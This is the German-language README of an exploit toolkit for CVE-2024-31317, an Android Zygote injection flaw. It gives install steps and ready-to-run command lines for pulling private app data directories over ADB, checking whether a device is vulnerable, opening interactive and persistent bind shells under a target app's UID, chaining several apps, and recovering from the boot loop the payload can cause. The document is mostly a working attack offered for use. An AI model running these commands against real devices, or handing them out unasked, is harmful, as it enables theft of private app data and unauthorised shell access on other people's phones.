Zygote Toolkit - CVE-2024-31317

Dies ist ein Toolkit, das CVE-2024-31317 verwendet, um private App-Daten über ADB zu extrahieren oder eine Shell mit der UID einer App zu starten. Diese Sicherheitslücke betrifft Android-Versionen 9 bis 14 mit Sicherheitspatch-Level 2024-06-01 oder niedriger. Eine Unterstützungsmatrix getesteter Geräte finden Sie unten.

Voraussetzungen

Debian/Ubuntu (Systempakete)

sudo apt update
sudo apt install adb openjdk-17-jdk-headless android-sdk android-sdk-build-tools
export ANDROID_HOME=/usr/lib/android-sdk
export PATH=$PATH:$ANDROID_HOME/build-tools/34.0.0:$ANDROID_HOME/platform-tools

Fügen Sie die export-Zeilen zu ~/.bashrc (oder entsprechend) hinzu, um sie dauerhaft zu machen.

Überprüfen

./setup.sh

Schnellstart

# Träger-APK erstellen und installieren (automatisch aus dem Quellcode erstellt)
python3 cve_2024_31317.py com.google.android.youtube --setup --rebuild -y

# Datenverzeichnis einer App extrahieren
python3 cve_2024_31317.py -d DEVICE_SERIAL -E -o app_data.tar -y com.example.app

Der Exploit erstellt beim ersten Durchlauf alles aus Hijack.java und AndroidManifest.xml.

Verwendung

python3 cve_2024_31317.py [flags] [package]

Modi

Optionen

Beispiele

# Extraktion
python3 cve_2024_31317.py -d DEVICE -E -o youtube.tar -y com.google.android.youtube

# Prüfen, ob das Gerät anfällig ist
python3 cve_2024_31317.py -d DEVICE --check-vuln

# Interaktive Bind-Shell
python3 cve_2024_31317.py -d DEVICE -i -y com.google.android.youtube

# Beständige Shell auf Port 7777
python3 cve_2024_31317.py -d DEVICE -S 7777 -y com.google.android.youtube

# Mehrere Apps in einer Kette
python3 cve_2024_31317.py -d DEVICE -E -y --chain-targets "app1,app2,app3"

# Nur Wiederherstellung (Boot-Schleife beheben)
python3 cve_2024_31317.py -d DEVICE --recover

Erstellen aus dem Quellcode

Alles wird zur Laufzeit aus dem Quellcode erstellt. Die Build-Pipeline verwendet javac (JDK 17+), d8, aapt, zipalign und apksigner aus dem Android SDK.

• x86_64 → arm64: Werkzeuge laufen nativ; die DEX-Ausgabe ist architekturunabhängig
• ARM64 → arm64: alles läuft nativ (Adoptium bietet ARM64-JDK-Builds)

Passwort

Wenn das Gerät über einen Passcode verfügt, startet es im BFU-Modus (Before First Unlock). Der Exploit fragt sys.user.0.ce_available bis zu 5 Minuten lang ab, bis Sie entsperren. Es wird empfohlen, den Passcode für die Dauer des Exploits zu entfernen.

Getestete Geräte

† Samsung One UI spezifisch: ZNJECT-Injektion erfolgreich und -E-Extraktion funktioniert, aber die toybox nc-ServerSocket-Bind-Shell öffnet sich nie. Weitere Forschung erforderlich, um die Grundursache des Problems zu finden.

Wiederherstellung

Das in hidden_api_blacklist_exemptions verbleibende Payload kann beim nächsten Start eine Boot-Schleife verursachen. Führen Sie --recover zum Zurücksetzen aus:

python3 cve_2024_31317.py -d DEVICE --recover